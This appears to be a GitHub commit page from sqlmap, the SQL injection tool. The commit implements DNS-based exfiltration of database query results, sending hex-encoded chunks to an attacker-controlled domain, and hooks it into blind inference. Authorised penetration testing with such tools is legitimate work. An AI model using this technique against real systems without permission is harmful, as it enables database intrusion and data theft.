Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 1cd3c3f

Browse files
committed
further update of DNS data retrieval mechanism through SQLi
1 parent 1e01203 commit 1cd3c3f

6 files changed

Lines changed: 112 additions & 16 deletions

File tree

lib/core/agent.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -261,7 +261,7 @@ def hexConvertField(self, field):
261261
if 'hex' in rootQuery:
262262
hexField = rootQuery.hex.query % field
263263
else:
264-
warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
264+
warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms()
265265
singleTimeWarnMessage(warnMsg)
266266

267267
return hexField

lib/core/common.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1613,7 +1613,7 @@ def getSPLSnippet(dbms, name, **variables):
16131613
for _ in variables.keys():
16141614
retVal = re.sub(r"%%%s%%" % _, variables[_], retVal)
16151615

1616-
_ = re.search(r"%([^%]+)%", retVal, re.I)
1616+
_ = re.search(r"%(\w+)%", retVal, re.I)
16171617
if _:
16181618
errMsg = "unresolved variable '%s' in SPL snippet '%s'" % (_.group(1), name)
16191619
raise sqlmapGenericException, errMsg

lib/core/option.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1437,6 +1437,7 @@ def __setKnowledgeBaseAttributes(flushAll=True):
14371437

14381438
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
14391439
kb.dep = None
1440+
kb.dnsMode = False
14401441
kb.docRoot = None
14411442
kb.dumpMode = False
14421443
kb.dynamicMarkings = []

lib/core/settings.py

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -472,3 +472,6 @@
472472

473473
# Maximum total number of redirections (regardless of URL) - before assuming we're in a loop
474474
MAX_TOTAL_REDIRECTIONS = 10
475+
476+
# Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm
477+
MAX_DNS_LABEL = 63

lib/request/inject.py

Lines changed: 19 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -48,29 +48,36 @@
4848
from lib.core.unescaper import unescaper
4949
from lib.request.connect import Connect as Request
5050
from lib.request.direct import direct
51-
from lib.techniques.union.use import unionUse
5251
from lib.techniques.blind.inference import bisection
52+
from lib.techniques.dns.use import dnsUse
5353
from lib.techniques.error.use import errorUse
54+
from lib.techniques.union.use import unionUse
5455
from lib.utils.resume import queryOutputLength
5556
from lib.utils.resume import resume
5657

5758
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False):
5859
start = time.time()
60+
value = None
61+
count = 0
5962

60-
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
63+
if conf.dnsDomain:
64+
value = dnsUse(payload, expression)
6165

62-
if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not timeBasedCompare:
63-
_, length, _ = queryOutputLength(expression, payload)
64-
else:
65-
length = None
66+
if value is None:
67+
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
68+
69+
if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not timeBasedCompare:
70+
_, length, _ = queryOutputLength(expression, payload)
71+
else:
72+
length = None
6673

67-
kb.inferenceMode = True
68-
count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump)
69-
kb.inferenceMode = False
74+
kb.inferenceMode = True
75+
count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump)
76+
kb.inferenceMode = False
7077

71-
if not kb.bruteMode:
72-
debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
73-
logger.debug(debugMsg)
78+
if not kb.bruteMode:
79+
debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
80+
logger.debug(debugMsg)
7481

7582
return value
7683

lib/techniques/dns/use.py

Lines changed: 87 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -7,10 +7,95 @@
77
See the file 'doc/COPYING' for copying permission
88
"""
99

10-
def dnsUse(expression, expected=None, dump=False):
10+
import re
11+
import time
12+
13+
from lib.core.agent import agent
14+
from lib.core.common import Backend
15+
from lib.core.common import calculateDeltaSeconds
16+
from lib.core.common import dataToStdout
17+
from lib.core.common import decodeHexValue
18+
from lib.core.common import extractRegexResult
19+
from lib.core.common import getSPLSnippet
20+
from lib.core.common import hashDBRetrieve
21+
from lib.core.common import hashDBWrite
22+
from lib.core.common import randomInt
23+
from lib.core.common import randomStr
24+
from lib.core.common import safecharencode
25+
from lib.core.common import safeStringFormat
26+
from lib.core.common import singleTimeWarnMessage
27+
from lib.core.data import conf
28+
from lib.core.data import kb
29+
from lib.core.data import logger
30+
from lib.core.data import queries
31+
from lib.core.enums import DBMS
32+
from lib.core.settings import MAX_DNS_LABEL
33+
from lib.core.settings import PARTIAL_VALUE_MARKER
34+
from lib.core.unescaper import unescaper
35+
from lib.request.connect import Connect as Request
36+
37+
def dnsUse(payload, expression):
1138
"""
1239
Retrieve the output of a SQL query taking advantage of the DNS
1340
resolution mechanism by making request back to attacker's machine.
1441
"""
1542

16-
raise NotImplementedError
43+
start = time.time()
44+
45+
retVal = None
46+
count = 0
47+
offset = 1
48+
49+
if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE):
50+
output = hashDBRetrieve(expression, checkConf=True)
51+
if PARTIAL_VALUE_MARKER in output:
52+
output = None
53+
54+
if output is None:
55+
kb.dnsMode = True
56+
57+
while True:
58+
count += 1
59+
prefix, suffix = ("%s" % randomStr(3) for _ in xrange(2))
60+
chunk_length = MAX_DNS_LABEL / 2
61+
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
62+
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
63+
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
64+
nulledCastedField = agent.hexConvertField(nulledCastedField)
65+
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
66+
67+
expressionRequest = getSPLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain)
68+
expressionUnescaped = unescaper.unescape(expressionRequest)
69+
70+
forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))
71+
Request.queryPage(forgedPayload, content=False, raise404=False)
72+
73+
_ = conf.dnsServer.pop(prefix, suffix)
74+
if _:
75+
_ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
76+
_ = decodeHexValue(_)
77+
output = (output or "") + _
78+
offset += len(_)
79+
if len(_) < chunk_length:
80+
break
81+
else:
82+
break
83+
84+
kb.dnsMode = False
85+
86+
if output is not None:
87+
retVal = output
88+
dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))
89+
hashDBWrite(expression, output)
90+
91+
if not kb.bruteMode:
92+
debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
93+
logger.debug(debugMsg)
94+
95+
elif conf.dnsDomain:
96+
warnMsg = "DNS data exfiltration method through SQL injection "
97+
warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
98+
singleTimeWarnMessage(warnMsg)
99+
conf.dnsDomain = None
100+
101+
return retVal

0 commit comments

Comments
 (0)